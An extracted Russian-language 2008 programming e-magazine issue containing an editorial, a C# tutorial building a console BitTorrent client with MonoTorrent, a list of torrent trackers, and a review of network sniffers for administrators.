91

VR-Online (December 2008)

Embed Size (px)

DESCRIPTION

Бесплатный электронный журнал для программистов и всех тех, кто интересуется околокомпьютерными вопросами

Citation preview

Page 1: VR-Online (December 2008)
Page 2: VR-Online (December 2008)

ИНТРО Всем привет и с Новым годом! Сразу же хочу пожелать тебе счастья, успехов, позитива и бычьего здоровья! Слава Богу високосный год закончился и теперь ничто не помешает начать реализовать свои идеи в жизнь. Да, айтишникам не гоже сваливать свои неудачи на мистику и суеверие, но в этом году, лично я готов сделать исключение. По преданиям, високосный год тяжелее всего приходится для мужчин. Верить или не верить – дело каждого. В истории ни мало примеров, доказывающих обе стороны. Не буду сейчас их приводить, но по себе могу сказать (кажется, говорил), что для меня год был просто ужасным. Нет, в нем было чудесные моменты (например, моя свадьба), но проблем было больше: болезнь сердца, депресняки, тяжелые отношения в VR-Team, неудачи и творческий кризис, который меня чуть не выбил из «журнального» бизнеса. К счастью год закончился и наступил новый. Надеюсь, он будет успешным и принесет больше хорошего, чем отрицательного. Во всяком случае, я в это верю, а вера это самое надежное и лучшее оружие. Еще раз с Новым годом и приятного чтения! Антонов Игорь aka Spider_NET

Идея: Фленов Михаил aka Horrific Редактор номера: Антонов Игорь ([email protected]) Графика в журнале: Васючков Андрей aka Soffrick ([email protected]) Текущий состав VR-Team: Horrific, Neon_Kaligula, LittleBudda, Soffrick, Egoiste, FrIToOll, Lord_of_fear, Vatanaba, Spider_NET Вопросы и предложения по журналу: [email protected]

Page 3: VR-Online (December 2008)
Page 4: VR-Online (December 2008)
Page 5: VR-Online (December 2008)

Разруливаем торренты, часть 2: под покровом ночи «Шесть лет прошло со времен первой войны людей и орков»…именно это фразой, произнесенной хриплым голосом безвестного переводчика WarCraft II я хотел бы предварить долгожданное завершение этого цикла статей. Еще немного Интро Действительно, прошло уже несколько месяцев с момента выхода статьи, в которой мы на практике разобрали процесс создания и парсинга torrent-файлов, создав простенький torrent-редактор. К большому сожалению, до самого вкусного момента (взаимодействия с трекером) мы добрались только сегодня из-за проблем с отладкой готового примера – только после нескольких сеансов электростимуляции толстым зондом со стороны редактора рубрики я смог это дело не только осилить, но и облечь в суровые строки журнальной статьи. Сам понимаешь – в процессе написания материала мы рассматривали несколько языков и несколько подходов (с использованием компонентов и без), остановившись в итоге на нижеприведенном варианте. C# вместо Delphi Для первой части статьи я писал пример на моем любимом Delphi, но сегодня мне предстоит ему изменить и воспользоваться великим и могучим C#. Многие Delphi-ненавистники сейчас возрадуются и громко закричат: "Неужели на Delphi нельзя создать полноценный клиент?". Вовсе нет, на Delphi можно написать практически любое приложение и торрент-клиент не исключение, но есть одно но. Как ты понимаешь, протокол BitTorrent - это не хухры-мухры и вот так просто реализовать его в приложении не удастся. Так уж получилось, что в настоящее время для дельфина не существует ни одной нормальной библиотеки/модуля для упрощения взаимодействия с этим протоколом. Все те библиотеки, которые мне попадались на глаза морально устарели и требовали переписывания до 60% кода. Заниматься переписыванием и изобретением очередного велосипеда оказалось очень долго и нудно, Dr.Klouniz все повышал вольтаж на моих электродах, двигая гигантским реостатом и раскатисто хохоча, поэтому я забил на эту идею и занялся поисками альтернативных библиотек – просто на этот раз я искал не для Delphi, а для C#. К счастью, поиски были недолгими. Буквально на второй странице результатов поиска, гугл выдал мне ссылку на продвинутую библиотеку, для работы с протоколом BitTorrent. Недолго думая, я взял курс, в сторону найденного линка и оказался на сайте проекта - MonoTorrent for C#. Разрешите представиться: MonoTorrent Библиотека Monotorrent - одна из самых профессиональных и функциональных среди имеющихся альтернатив. Для программиста она предоставляет шикарный API, позволяющий использовать протокол BitTorrent с чрезвычайной легкостью, не заставляя его задумываться о лишних проблемах. Автор этого замечательного творения - Alan McGovern. Изначально эта библиотека входила в проект Summer of Code 2006. Но после того, как она засветилась и стала набирать фанатов, Alan решил заняться доработкой MonoTorrent и сделать для нее отдельный проект. Вот так и появился на свет нынешний MonoTorrent, который сегодня используют все C#'ники. Иполнять оды MT можно очень долго, поэтому давай отвлечемся от этого

Page 6: VR-Online (December 2008)

занимательного, но бесполезного дела и взглянем на четыре ключевые возможности, ради которых стоит юзать именно эту либу: 1. Упрощенная процедура для создания/чтение torrent-файлов. Все то, что мы научились делать в первой части статьи, в MonoTorrent делается в пару строчек кода. На скорость работы такая универсальность и упрощенность не повлияли - она находится на высоте и все действия (парсинг файлов, общение с сервером, переиндексация незакаченного файла) происходят очень быстро. 2. Функции на любой случай. Возможностей MN с лихвой хватит как для разработки клиентских приложений (например, Torrent-клиенты), так и серверных (например, Tracker-серверы). Все необходимые классы уже реализованы. 3. Простота использования. Код MonoTorrent написан очень качественно, поэтому если ты нормально ориентируешься в ООП, то без труда сможешь разобраться с внутренностями этой библиотеки и по необходимости дописать пару возможностей. 4. Кросс-платформенность. Разработчик MT нехило постарался и сделал свое детище полностью кросс-платформенным. Поэтому грани между платформами размываются, и ты можешь разрабатывать хоть под Unix-like системы (смотри документацию по проекту Mono, http://www.mono-project.com), хоть под Windows Mobile. Установка MonoTorrent Все, хватит занудной теории, давай переходить к долгожданной практике. Перед тем как использовать эту мощную либу, тебе нужно ее скачать и проинсталлить. Самую последнюю версию библиотеки ты всегда можешь найти на http://www.monotorrent.com (тебя на нашем DVD лежит последняя на момент сдачи статьи версия). Распакуй найденный/скаченный архив и попробуй произвести перекомпиляцию всех файлов. Минута ожидания и... на тебя обрушивается водопад error'ов, в которых сообщается, о невозможности обнаружения какие-то модулей. Не отчаивайся, сейчас мы это исправим. В качестве лекарства тебе придется добыть очень один очень популярный у программистов C# фреймворк и подключить его к своей Visual Studio. Беги на http://nunit.org и качай наиболее свежую версию дистрибутива фреймворка. Опять же, чтобы далеко не бегать, достаточно просто заглянуть к нам на DVD. Установка фреймворка стандартная, все, что от тебя требуется - просто закрыть Visual Studio и запустить скаченный инсталлятор. После завершения установки, твоя среда разработки уже будет знать о местоположении библиотеки, а значит, тебе опять следуют попробовать компильнуть сорцы MonoTorrent. На этот раз компиляция пройдет успешно.

Page 7: VR-Online (December 2008)

Рисунок 1 (Официальный сайт мощнейшего инструмента)

Рисунок 2 (Блог главного разработчика MonoTorrent)

Page 8: VR-Online (December 2008)

Делаем проект Создавай в свой студии новый проект типа Console Application. Да-да, ты не ослышался, сегодня мы будем делать консольный именно консольный торрент-клиента. Создал? Теперь потрудись и подключи к своему проекту новый "Reference", расположенный в файле MonoTorrent.dll. Сам файлик MonoTorrent.dll ты можешь найти в папке <директория с файлами monotorrent>/bin/debug. Если ты пришел к нам из Delphi и до этого никогда не юзал C# и Visual Studio, то знай же, что для подключения новой References (ссылки) необходимо: 1. Перейти в Solution Explorer (View -> Solution Explorer). 2. Раскрыть группу Solution. 3. Щелкнуть правой кнопкой и выбрать пункт Add Reference. 4. В появившемся окне (рисунок 3) перейти на вкладку browse и выбрать файл MonoTorrent.dll.

Рисунок 3 (Вот через это окно добавляются новые Reference)

После выполнения этой нехитрой процедуры тебе станут доступны все возможности MT. Теперь можно отвлечься от всяких организационных вопросов и приступить непосредственно к кодингу. Первое, с чего должен начинаться любой проект - с определения списка необходимых пространств имен. К имеющемуся списку добавь: - MonoTorrent.BEncoding; //здесь сосредоточена вся работа с BenCoding. - MonoTorrent.Common; //основные методы. - MonoTorrent.Client.Tracker; //методы для работы с трекером. - MonoTorrent.Client; //клиентские функции. Итак, пространства имен подключены, теперь пора переходить к основной части и заняться приготовлением фарша для автоматически созданного класса Main. Перейди в самое начало описание класса и объяви несколько полей:

Page 9: VR-Online (December 2008)

Далее найди метод Main() и перепиши в него код из врезки 1. Пока ты переписываешь, я буду комментировать происходящее в листинге. Как я уже говорил, наше приложение будет консольным, а значит, нужно организовать привычный для таких приложений интерфейс взаимодействия с пользователем. Ты уже наверняка догадался, что речь идет о параметрах, которые мы так любим передавать подобным тулзам. Из параметров, наша программа должна принимать как минимум два: путь к торрент-файлу, который необходимо закачать и папку на жестком диске, куда нужно все это дело сохранить. Поскольку мы точно знаем, что параметров будет два, то при запуске программы нам нужно убедиться в этом. Именно это я и делаю в самой первой строчке. Если "длина" args меньше 2, то дальше нам делать нечего. Сообщим пользователю, что не хватает параметров и приспокойненько прервем работу. Успешно получив параметры, я записываю их в соответствующие переменные. Помимо этого мне также приходится определять путь к текущей директории (т.е. папке, из которой работает наша софтина). В ней мы будем сохранять файл temp.data, который будет содержать необходимые сведения для возобновления закачки. Ведь кому захочется иметь торрент-клиент, который не имеет возможности докачивать? Закончив возню с переменными, нужно позаботиться о настройке обработчиков событий. Это делать необходимо, чтобы в определенный момент наша программа, например, могла нормально приостановить свою работу и не наделать каких-либо ошибок. В первую очередь позаботимся о корректном завершении нашего приложения и установим делагат для события CancelKeyPress. Это событие возникает, если мы попытались прервать работу приложения и нажали Ctrl+C в консоли. Поскольку приложение у нас достаточно непростое, нужно позаботиться о корректном завершении всех запущенных потоков. Весь код для правильного прерывания работы определим в функции exit() (ее код ты можешь посмотреть в моих исходниках). Эту же функцию нужно вызывать во время срабатывания: - AppDomain.CurrentDomain.ProcessExit (завершение процесса). -AppDomain.CurrentDomain.UnhandledException (необработанного исключения). Установив обработчики событий я вызываю процедуру doDownload(), в которой реализована процедура приема файла. Ее код приведен в второй врезке. Поэтому тебе ничего не остается делать, кроме как начать его переписывать.

//Путь к папке из которой мы работаем static string _programPath; //Папка в которую будем качать static string _downloadPath; //Имя и путь к файлу, который будет содержать служебную информацию, необходимую для возобновления закачки static string _fastResumeFile; //Путь к торрент-файлу static string _torrentPath; //Движок, реализующий функци закачки static ClientEngine _engine; //вспомогательный класс static Top10Listener _listener; //Менеджер для хранения законченных настроек для очедного torrent-файла static TorrentManager _manager;

Page 10: VR-Online (December 2008)

Рисунок 4 (Кодинг в процессе)

Врезка 1 (Код метода Main()) if (args.Length < 2) {

Console.WriteLine("Please run this program with parameters:"); Console.WriteLine("<torrent path> <Download folder>"); Console.ReadKey(); return;

} _programPath = Environment.CurrentDirectory; _torrentPath = args[0]; _downloadPath = args[1]; _fastResumeFile = _programPath + "\temp.data"; _listener = new Top10Listener(10); Console.CancelKeyPress += delegate { exit(); }; AppDomain.CurrentDomain.ProcessExit += delegate { exit(); }; AppDomain.CurrentDomain.UnhandledException +=

delegate(object sender, UnhandledExceptionEventArgs e) { Console.WriteLine(e.ExceptionObject); exit(); };

Thread.GetDomain().UnhandledException += delegate(object sender, UnhandledExceptionEventArgs e) { Console.WriteLine(e.ExceptionObject); exit(); };

doDownload(); Вторая врезка получилась достаточно объемной, но поверь мне, она была бы еще больше раз в 20, если бы мы писали все вручную и не воспользовались бы MonoTorrent (пользуясь случаем, наподдам автору еще пару сотен джоулей в качестве компенсации за задержку статьи – прим. ред.). Итак, листинг начинается с определения порта для входящих подключений. Для своего примера я выбрал порт с номером 31337. Для удобства использования и универсальности, номер порта можно передавать через параметры. Определив порт, нужно создать экземпляр класса Torrent. С его помощью мы будем выполнять загрузку торрент-файла и получать все

Page 11: VR-Online (December 2008)

необходимые сведения. А вытащить из него можно много чего. Например (далее перечислены соответствующие свойства): - CreatedBy - автор создания торрент-файла. - CreationDate - дата создания файла. - Comment - комментарий. - AnouncedUrls - список анонсов. - Size - размер файла(ов) для закачки. - Piecelength - размер одной части. - Pieces.Count - количество частей. Если ты читал первую часть статьи, то уже понял, что эта вся та информация, над получением которой мы корпели в Delphi. Ну что поделать - здесь нам помогает библиотека, а в Delphi приходилось работать руками и головой. Проинициализировав объект для работы с торрент-файлом, нужно начать подготовку "движка", который будет содержать настройки очередной закачки. Но перед тем, как перейти к движку, нужно подготовить для него набор опций. Для этого я создаю новый экземпляр класса EngineSettings() и заполняю его основные свойства: SavePath (путь для сохранения файлов) и ListenPort (порт для входящих подключений). Определившись с опциями, я начинаю инициализацию самого движка (ClientEngine) и передаю ссылку на подготовленные EngineSettings. Оп-а, я немного забежал вперед и совершенно несправедливо обделил вниманием создание TorrentsSettings. В них ты можешь задать основные настройки, которые будут влиять на закачку в плане скорости. Например, в моем примере при инициализации переменной типа TorrentSettings, я передаю следующие параметры: 1. Слоты для отдачи. 2. Количество одновременных соединений. 3. Ограничение скорости на закачку. 0 - без ограничений. 4. Ограничение скорости на отдачу. 0 - без ограничений. На этом с настройками все. Двигаемся дальше. Теперь нам нужно создать или прочитать "индексный" файл. Если он не существует, то значит, что это новая закачка и нужно его создать. В противном случае его нужно просто его прочитать (BEncodedValue.Decode<BEncodedDictionary>(File.ReadAllBytes(_fastResumeFile)). Затем я загружаю torrent-файл. Загрузка выполняется методом load(). В качестве одного-единственного параметра он принимает путь к файлу. Если во время загрузки возникли ошибки, то сообщим об этом пользователю и прервем выполнение программы, ну а если все тип-топ, то выведем информацию о загруженном торрент-файле. Вот теперь мы подошли к самому интересному - к закачке. Перед тем, как зарегистрировать torrent-файл для "движка", нам необходимо определиться, будем ли мы продолжать докачку или же начнем лить абсолютно новый файл. Для новой закачки мы просто создадим новый торрент-менеджер (new TorrentManager(_torrent,_downloadPath, _torrentDef);), а вот если закачка уже была запущена, то нужно передать наш _fastResume. После этого нам ничего не остается сделать как выполнить метод Register проинициализированного "движка". В качестве параметров этому методу передадим ссылку на созданный торрент-менеджер. После регистрации на менеджер будут действовать все параметры, которые мы ранее установили. Итак, уже почти все готово для начала закачки, за исключением одного нюанса - обработчиков событий. Их нужно объявить (вспоминаем про делегаты) для того, чтобы получить возможность следить за состоянием процесса закачки. Чтобы не париться с расписыванием кода реакций на события, я просто взял стандартный шаблон для этого дела (из дистрибутива MT) и немного подкорректировал. Его код ты найдешь в моем исходнике. Сложного в нем ничего нет и если ты более-менее знаешь C#, то проблем не взникнет. Создав соответствующие обработчики, можно стартовать закачку. Стартануть можно с помощью метода Start() объекта типа TorrentManager. Закачка началась и теперь все, что нам остается делать - выводить пользователю соответствующие информационные сообщения. В листинге, опубликованном в

Page 12: VR-Online (December 2008)

статье, есть соответствующий комментарий. Именно в этом месте и нужно написать код для вывода сообщений. Пример такого кода ты опять-таки найдешь в моем исходнике. Врезка 2 (Осторожно! Горячая начинка) int _port; _port = 31337; Torrent _torrent; EngineSettings _engineSettings = new EngineSettings(); TorrentSettings _torrentDef = new TorrentSettings(5, 100, 0, 0); _engineSettings.SavePath = _downloadPath; _engineSettings.ListenPort = _port; _engine = new ClientEngine(_engineSettings); BEncodedDictionary _fastResume; try {

fastResume = BEncodedValue.Decode<BEncodedDictionary> (File.ReadAllBytes(_fastResumeFile));

} catch {

_fastResume = new BEncodedDictionary(); } try {

_torrent = Torrent.Load(_torrentPath); } catch {

Console.Write("Decoding error"); _engine.Dispose(); exit();

} Console.WriteLine("Created by: {0}", _torrent.CreatedBy); Console.WriteLine("Creation date: {0}", _torrent.CreationDate); Console.WriteLine("Comment: {0}", _torrent.Comment); Console.WriteLine("Publish URL: {0}", _torrent.PublisherUrl); Console.WriteLine("Size: {0}", _torrent.Size); Console.WriteLine("Piece length: {0}", _torrent.PieceLength); Console.WriteLine("Piece count: {0}", _torrent.Pieces.Count); Console.WriteLine("Press any key for continue..."); Console.ReadKey(); if (_fastResume.ContainsKey(_torrent.InfoHash))

_manager = new TorrentManager(_torrent, _downloadPath, _torrentDef, new FastResume((BEncodedDictionary) _fastResume[_torrent.InfoHash])); else

_manager = new TorrentManager(_torrent, _downloadPath, _torrentDef); _engine.Register(_manager); _manager.TorrentStateChanged += delegate(object o, TorrentStateChangedEventArgs e)

{ lock (_listener) _listener.WriteLine("Last status: " + e.OldState.ToString() + " Current status: " + e.NewState.ToString());

}; foreach (TrackerTier ttier in _manager.TrackerManager.TrackerTiers) {

foreach (MonoTorrent.Client.Tracker.Tracker tr in ttier.Trackers) {

Page 13: VR-Online (December 2008)

tr.AnnounceComplete += delegate(object sender, AnnounceResponseEventArgs e) { _listener.WriteLine(string.Format("{0}: {1}", e.Successful,e.Tracker.ToString())); }; } } _manager.Start(); int i = 0; bool _running = true; StringBuilder _stringBuilder = new StringBuilder(1024); while (_running) { if ((i++) % 10 == 0) { if (_manager.State == TorrentState.Stopped) {

_running = false; exit();

//Здесь можно выводить всевозможную полезную информацию (скорость закачки, количество активных соединений и т.д.). } } System.Threading.Thread.Sleep(500); Потестим? Настал час триумфа, - то время, когда мы должны убедиться, что все наши действия не пропали втуне, и наш торрент-клиент действительно сможет выполнить свою основную задачу. Попробуй скомпилировать и запустить наш проект. Не забудь при запуске передать соответствующие параметры. Чтобы убедиться в работоспособности новоиспеченного клиента, я подготовил самый обычный торрент-файл (скачал с tfile.ru) и запустил наш клиент со следующими параметрами: xtorrent.exe C:\test.torrent C:\.

Рисунок 5 (Смотрим информацию о торренте)

Page 14: VR-Online (December 2008)

Рисунок 6 (Вся информация о закачке как на ладони)

Через пару секунд в своей консоли я увидел информацию о торент-файлике (рисунок 5) и предложение начать загрузку. Я согласился и еще через несколько секунд мой торрент-клиент успешно соединился с трекером и приступил к закачке (рисунок 6). Прошло минут пять и в корне моего диска C: появился соответствующий файл, а Torrent-клиент завершил свою работу. Где поживиться торрентами? Торренты http://torrents.ru Torrents.ru - один из самых крупных российских трекеров. Его ежедневно посещают порядка 160 тыс. пользователей, что очень хорошо для проекта, основанном на чистом энтузиазме и не приносящим лавэ весьма шикарно. Стоит отметить, что таким популярным он стал за относительно небольшой временной промежуток - всего лишь три года. Среди основных преимуществ этого трекера, можно выделить: 1. Большое количество разнообразнейшего контента. Тут есть все: начиная от раритетных записей (видео, аудио), заканчивая свежими билдами программных продуктов от корпораций - монстров. 2. Хорошая скорость закачки. Как гласит закон любого трекера: "Чем больше пользователей, тем выше скорость закачки". На торрентах.ru народу больше чем достаточно, поэтому сорость закачки просто велеколепная. НоваФильм http://novafilm.tv НоваФильм - сообщество, специализирующееся на переводе и озвучке популярных телешоу (преимущественно сериалы). Все свои релизы они оформляют в виде раздач на одноименном трекере. Особенность трекера в эксклюзивности и хорошем качестве контента. Новые эпизоды популярных сериалов появляются через день-два после их премьеры за бугром. Благодаря такой оперативности, novaFilm.tv стал трекером номер 1 для всех любителей новых и старых телесериалов. Лучшие сериалы http://lostfilm.ru ЛостФильм можно смело назвать зеркалом НоваФильм. Почему? Да потому что это еще один трекер целиком и полностью посвященный распространению популярных сериалов. У

Page 15: VR-Online (December 2008)

любителей сериалов уже давно возник обычай - если желаемый сериал не нашелся на novafilm, то значит, он непременно найдется на lost'e. HD Tracker http://hdtracker.ru Основной контент этого трекера - новинки фильмов в формата HD DVD, Blu-ray и HDTV. Основные посетили ресурса - любители кино с хорошим качеством изображения и широчайшим инет-каналом. Простым смертным с тормознутым инетом на этом трекере делать нечего, т.к. средний размер фильма, как правило, не меньше 4-х гигов, а значит с толщиной канала 64/128 КБит быстро стянуть ничего не получиться. Ах да, чуть не забыл. Для того чтобы начать пользоваться трекером нужно зарегистрироваться. Казалось бы обычная процедура, но есть один маленький нюанс - для регистрации необходимо получить приглашение от одного из зарегистрированных пользователей ресурса. Sharereactor http://tracker.sharereactor.ru/ Достаточно хороший и "живой" трекер. Из контента здесь представлено только видео. Причем имеются как новинки, так и достаточно старые и раритетные фильмы. Многие из релизов можно назвать эксклюзивными, т.к. созданием озвучки занимаются постоянные посетители ресурса. Только благодаря таким энтузиастам многие могут позволить себе посмотреть фильм, который еще не был официально дублирован в РФ, а таких фильмов очень-очень много. Помимо новинок и самопальных озвучек, на этом трекере есть неплохая, постоянно пополняемая коллекция фильмов с высококачественным видео (High Quality Video) и в отличии от HD Tracker с регистрацией нет никаких проблем. TFile http://tfile.ru/ Крупный торрент-трекер, который по количеству пользователей и объему представленного контента можно сравнить с torrents.ru (хотя до полноценного torrents.ru ему еще далеко). Контент на трекере самый разнообразный: новые фильмы, фильмы в HDTV качестве, сериалы, soft, мульты, аниме, литература и т.д. Новинки на трекере появляются регулярно, поэтому всегда есть чем поживиться. Из особенностей работы этого трекера можно выделить - стабильность и душевную атмосферу, царящую на форуме. Стабильность работы действительно на высоте. Трекер такого масштаба редко уходит в даун, и всегда рад новым гостям. Среди минусов можно отметить достаточно быстрое "остывания" раздач. Как показала практика, на этом трекере слишком мало долгоживущих раздач. Free Exchage http://tracker.freeexchange.ru Один из немногих трекеров который позволяет качать файлы без регистрации, и без каких-либо ограничений. На первый взгляд это хорошо, но если посмотреть с другой стороны, то плохого больше =) Отсутствие регистрации порождает халявщиков. Многие пользователи только качают, и совершенно ничего не отдают (личеры). Вследствие этого, новинки на трекере появляются не всего оперативно, а раздачи долго не живут. В остальном, free exchange - типичный трекер, с которого разве что удобно качать новинки и не заморачиваться с регистрацией. The Pirate Bay http://thepiratebay.org The Pirate Bay - один из самых крупнейших трекеров в мире как по количеству пользователей так и по контенту. Контент на трекере на любой вкус. Тут тебе и игры и фильмы и все что душе

Page 16: VR-Online (December 2008)

угодно. Причем от посетителя не требуется регистрироваться и выполнять сложных телодвижений - можно сразу переходить к закачке. Благодаря сильно большому количеству пользователей, скорость закачки всегда на высоком уровне, поэтому счастливы будут как владельцы широких инет-каналов так и совсем узеньких =). Torrent Finder http://torrent-finder.com Это не торрент-трекер - это специализированный поисковик torrent файлов. С помощью этого сервиса очень удобно искать какие-нибудь эксклюзивные вещи. Вбил запрос, подождал несколько секунд и вуаля - куча ссылок на торрент-файл с похожим названием. Torrent-finder производит поиск по самым крупным забугорным трекерам. Основным минус поисковика - отсутствие поддержки поиска по русским трекерам. Disconnect На этой самой ноте, с чувством гордости и выполненного долга можно закончить сегодняшнее занятие. Надеюсь, что эта статья тебе понравилась и рано или поздно ты создашь полноценный торрент-клиент, который завоюет неслыханную популярность и удивит все интернет-сообщество. Удачи тебе в твоих начинаниях! Пока! P.S. Есть вопросы? Тогда пиши мне на мыло - я всегда открыт для общения и рад помочь по мере своих возможностей.

Исходники к статье ищи в папке «Torrent клиент 2» Written by Игорь Антонов aka Spider_NET E-mail: [email protected]

Page 17: VR-Online (December 2008)
Page 18: VR-Online (December 2008)

Обзор снифферов Существует стереотип, что снифферами в основном пользуются хакеры, с целью получения конфиденциальной информации. Этот стереотип настолько раздут, что многие опытные системные администраторы обходят стороной подобные инструменты, хотя на самом деле они могут сильно облегчить их труд, а иногда и вовсе решить задачи, которые стандартными способами решить довольно сложно. Чтобы увидеть все возможности полезные возможности, которые может дать сниффер администраторам/security специалистам мы подготовили данный обзор. WireShark (ранее назывался Ethereal) http://wireshark.org Условия распространения: Freeware (GNU) WireShark – один из самых мощных и удобных снифферов. Удобство заключается в наличии продуманного графического интерфейса и доступностью версий для разных платформ (Windows, Linux, BSD). Функционал настолько обширен, что стоит один раз попользоваться этой программой, как влюбляешься моментально. Основные возможности: 1. Просмотр всех проходящих через сетевой интерфейс пакетов. Перехват пакетов реализуются стандартным способом для пассивного снифинга – переводом сетевого интерфейса в promiscuous mode. 2. Анализатор протоколов. Пожалуй, это главная возможность, которая выводит WireShark в лидеры среди подобного ПО. После получения данных с сетевой карты, WireShark производит анализ полученного пакета и выводит его содержимое в виде удобно читаемом виде. Такое представление очень удобно для проведения дальнейших исследований.

Не попали в обзор HTTP AnalyzerFull (http://www.ieinspector.com/) – сниффер специализирующийся на перехвате заголовков HTTP протокола. После перехвата, HTTP AnalyzerFull в удобном виде предоставляет: http(s) заголовки, cookies, отправляемую запросами POST и GET информацию, коды ответов WEB-сервера. Etherscan Analyzer (http://www.etherscan.com/) – довольно мощный и многофункциональный сниффер. Имеет набор гибких фильтров, позволяющий выбирать из перехваченного трафика лишь необходимые данные; простенький конструктор пакетов. TCP Dump (http://microolap.com) – известный сниффер, встроенный в дистрибутив любой UNIX-like системы. Поэтому адресу можно скачать версию для платформы Windows. TCP dump – удобный и быстрый консольный сниффер. Идеально подходит для быстрого захвата трафика. TCP Dump, не содержит никаких красивых анализаторов. Все захваченные им данные удобней всего смотреть в WireShark.

Page 19: VR-Online (December 2008)

WireShark, выгодно использовать не только как эффективное средство перехвата трафика, но и как анализатор протоколов. Например, WireShark замечательно понимает файлы-данных таких известных снифферов как: tcpdump, Sniffer Pro и других. Если есть сохраненные логи снифферов, или просто для перехвата трафика уже есть другой любимый инструмент, то можно продолжать использовать именно его, а разбирать перехваченное содержимое уже с помощью WireShark.

Список протоколов, которые WireShark, в состоянии переварить также впечатляет, вот некоторые из них: 802.11 MGT, 9P, ACN, ASP, DNS, DTLS, FTP, HTTP, GSM SMS, IMAP, IGAP и многие другие (полный список можно посмотреть на официальном сайте).

Page 20: VR-Online (December 2008)

Количество поддерживаемых устройств, с которых могут быть считаны данные, также впечатляет: Ethernet, Token-Ring, FDDI, serial (PPP/SLIP), 802.11 wireless LAN и т.д. 3. Сортировка данных. В больших сетях происходит импульсивный обмен данными, поэтому стоит запустить сниффер, как экран лога быстро заполнится захваченными пакетами. Естественно проводить дальнейший анализ будет затруднительно. Для решения этой проблемы, в WireShark реализованы всевозможные фильтры. Фильтровать можно как по определенному протоколу, так и по отдельным полям его структуры.

4. Формирование статистики. По завершению анализа можно сформировать так называемые «сводные отчеты», графики, которые будут содержать итоговые данные (например, количество пакетов определенного протокола). 5. Статистика VoIP. Администраторы, которые занимаются обслуживанием VoIP телефонии, по достоинству оценят возможность построения статистики разговоров. Статистику можно представить в виде графика, отфильтровать по определенному собеседнику и т.д.

Page 21: VR-Online (December 2008)

Вердикт: WireShark, очень качественный и продуманный продукт, который придется по душе многим администраторам. Кроссплатформенность, наличие удобного графического интерфейса, бесплатность и умопомрачительная функциональность – ключевые элементы, ради которых стоит воспользоваться этой программой. Используя WireShark не нужно думать о подборе сниффера под ту или иную систему, можно сразу работать. Network Protocol Analyzer http://www.softperfect.com Условия распространения: Shareware Network Protocol Analyzer – профессиональный инструмент для захвата и анализа трафика. Программа сочетает в себе функциональность и простоту использования, которая понравится разным категориям IT специалистов: администраторам, security-специалистам и разработчикам сетевых решений для платформы Windows.

Page 22: VR-Online (December 2008)

Основные возможности: 1. Захват трафика с сетевого интерфейса. Перехват трафика происходит за счет перевода сетевого интерфейса в смешанный режим, т.е. по сути используется пассивный снифинг. 2. Имеется встроенный анализатор протоколов. Поддерживаются протоколы низкого уровня (AH, ARP, ESP, ICMP, ICMPv6, IP, IPv6, IPX, LLC, MSG, REVARP, RIP, SAP, SER, SNAP, SPX, TCP, UDP) и высокого (http, ftp, telnet, pop, imap и т.д.). 3. Управление пакетами. Network Protocol Analyzer, позволяет внести изменения (создать новый) в любой из захваченных пакетов и вновь их отправить. Эта возможность очень удобна при тестировании firewall, т.к. появляется возможность почувствовать себя в роли злоумышленника, попробовать создать «неправильные пакеты» и посмотреть реакцию IDS или брэдмаэра. 4. Перехват трафика определенного приложения. Эта возможность пригодиться, прежде всего, программистам и security-специалистам. Первым – для отладки своих приложений, а вторым для получения детальной информации обо всех отправляемых данных определенного приложения.

Page 23: VR-Online (December 2008)

5. Средства для просмотра статистики. В программе реализовано несколько функций для визуального представления различных статистических данных. Вся информация отображаются либо на графиках, либо в сводных таблицах. Вердикт: NPA, подойдет лишь администраторам, работающих, с платформой Windows. В этом сниффере на хорошем уровне реализованы дополнительные функции вроде конструктора пакетов, перехват трафика определенного приложения и «красивое» представление статистических данных. Поэтому пользоваться этими функциями очень удобно. Среди минусов можно отметить: малое количество протоколов, которые может разобрать анализатор; иногда встречающиеся глюки при долгом снифинге (зависание приложения, аварийное завершение работы программы и т.д.), оформление перехваченных данных менее наглядное, чем у WireShake.

Page 24: VR-Online (December 2008)

CommView http://tamos.ru Условия распространения: Shareware CommView – сниффер/анализатор протоколов от всем известной компании, специализирующейся на разработке сетевых анализаторов, программ для перехвата трафика – TamoSoft.

Page 25: VR-Online (December 2008)

Основные возможности: 1. Захват и анализ. Перехват и анализ пакетов проходящих через сетевой интерфейс. Любой пакет доступен для редактирования и повторной отправки. Для создания новых пакетов предусмотрен специальный конструктор. Особенность конструктора – наличие шаблонов для конструирования пакетов и удобного GUI. 2. Анализатор VoIP. Данная возможность позволяет перехватывать и анализировать различные данные VoIP (звонки, потоки, ошибки). Функция незаменима для администраторов при развертывании (отладке) IP-телефонии внутри компании. Появляется возможность просматривать ошибки, возникающие в ходе совершения звонков, прослушивание звонков с целью оценки качества связи и т.д. В качестве сигнальных протоколов реализована поддержка наиболее популярных: SIP 2.0 и H.323.

Page 26: VR-Online (December 2008)

3. Реконструкция TCP-сессий. Функция позволяет проанализировать процесс обмена данными между двумя хостами. Полученная в ходе анализа информация будет содержать все возникшие ошибки, задержки, фрагменты данных, попытки повторной отправки данных и т.д. 4. Создание собственного декодера CommView, поддерживает подключение сторонних декодеров пакетов. На сайте можно найти примеры декодеров-пакетов на C++ и Delphi. Необходимость в написании собственного декодера может возникнуть при отладке какой-нибудь нестандартного сетевого приложения. Как правило, в качестве подобных приложений выступают внутри корпоративные разработки. 5. Отчетность Для конечного анализа перехваченного трафика, CommView позволяет сгенерировать подробнейший отчет, содержащий различную статистическую информацию. В отчет можно включить все графики, диаграммы и т.д.

Page 27: VR-Online (December 2008)

Вердикт: CommView заслуживает хорошую оценку и должен понравится администраторам, которые ценят качество и обширные возможности, но не любят копаться в большем количестве настроек программ, типа WhireShark. Особое внимание стоит обратить на возможность разбора (прослушивание) пакетов от VoIP. Эта функция реализована на хорошем уровне и очень удобна для диагностики работы этого сервиса. Возможность формирования «красивых» отчетов становится необходимой, когда требуется отчитаться перед начальством. Возможности сниффера для администратора ХХХХХХХХХХХХХХ

Page 28: VR-Online (December 2008)

